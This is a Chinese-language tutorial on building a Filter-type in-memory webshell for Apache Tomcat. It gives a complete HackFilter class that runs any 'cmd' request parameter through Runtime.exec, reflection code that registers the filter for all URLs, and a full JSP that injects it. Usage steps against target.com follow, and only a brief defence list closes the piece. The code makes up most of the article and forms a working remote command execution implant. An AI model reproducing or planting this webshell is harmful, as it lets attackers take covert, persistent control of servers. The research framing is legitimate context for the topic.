自己动手写Filter型内存马
字数 1031 2025-08-11 00:55:07
Filter型内存马实现原理与实战分析
一、Tomcat基础结构理解
要理解Filter型内存马,首先需要掌握Tomcat的基本工作原理:
Tomcat = WEB服务器 + Servlet容器
Connector组件功能
- 监听网络端口
- 接收网络请求
- 读取请求字节流并转换为Request对象
- 将Request对象发送到Container
- 接收Container返回的Response对象
- 转换Response对象为字节流并响应网络请求
Container处理流程
Container使用Pipeline-Valve管道处理request对象:
- Valve表示管道阀门,每个管道有一个BaseValve(最后执行)
- request最先进入EnginePipeline处理,依次执行每个Valve
- 执行到StandardWrapperValve时,会创建FilterChain
- FilterChain的doFilter方法依次调用匹配的Filter和Servlet
二、Tomcat注册Filter的机制
标准Filter注册流程
- addFilterDef - 添加Filter定义
- addFilterMap - 添加Filter映射
- filterConfigs.put - 将Filter配置存入上下文
关键类说明
-
FilterDef类:存储Filter定义信息
public class FilterDef implements Serializable { private transient Filter filter = null; private String filterClass = null; private String filterName = null; // getter/setter方法 } -
FilterMap类:存储Filter映射关系
-
ApplicationFilterConfig:封装FilterDef的配置类
三、内存马实现步骤
1. 恶意Filter类实现
public class HackFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if(request.getParameter("cmd")!=null){
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
chain.doFilter(request,response);
}
// 其他方法实现...
}
2. 获取StandardContext对象
通过反射从request获取StandardContext:
// 获取ServletContext
ServletContext servletContext = request.getServletContext();
// 获取ApplicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 获取StandardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
3. 动态注册Filter
(1) 添加FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new HackFilter());
filterDef.setFilterName("HackFilter");
filterDef.setFilterClass(HackFilter.class.getName());
context.addFilterDef(filterDef);
(2) 添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("HackFilter");
filterMap.addURLPattern("/*"); // 匹配所有URL
context.addFilterMap(filterMap);
(3) 创建并添加FilterConfig
// 获取ApplicationFilterConfig构造函数
Constructor constructor = ApplicationFilterConfig.class
.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
// 创建FilterConfig实例
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
constructor.newInstance(context, filterDef);
// 获取并修改filterConfigs
Field configsField = context.getClass().getDeclaredField("filterConfigs");
configsField.setAccessible(true);
Map filterConfigs = (Map) configsField.get(context);
// 添加配置
filterConfigs.put("HackFilter", filterConfig);
四、关于DispatcherType的说明
在FilterMap中:
filterMap.setDispatcher(DispatcherType.REQUEST.name());
- 设置Filter应用的调度类型
- REQUEST表示请求的调度程序类型
- 实际上这是可选操作,因为默认值就是REQUEST
五、完整JSP实现代码
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class HackFilter implements Filter {
// Filter实现代码同上
}
%>
<%
// 1.获取context
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
// 2.addFilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new HackFilter());
filterDef.setFilterName("HackFilter");
filterDef.setFilterClass(HackFilter.class.getName());
context.addFilterDef(filterDef);
// 3.addFilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("HackFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);
// 4.创建ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
// 5.添加到filterConfigs
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
filterConfigs.put("HackFilter",filterConfig);
%>
六、内存马使用方式
-
访问JSP页面注入内存马:
http://target.com/addFilter.jsp -
触发内存马执行命令:
http://target.com/anypath?cmd=whoami
七、防御建议
- 禁用JSP上传功能
- 监控Filter的动态注册行为
- 定期检查运行中的Filter列表
- 使用安全防护设备检测异常行为
通过以上分析,我们完整掌握了Filter型内存马的实现原理和技术细节,这对安全研究和防御都具有重要意义。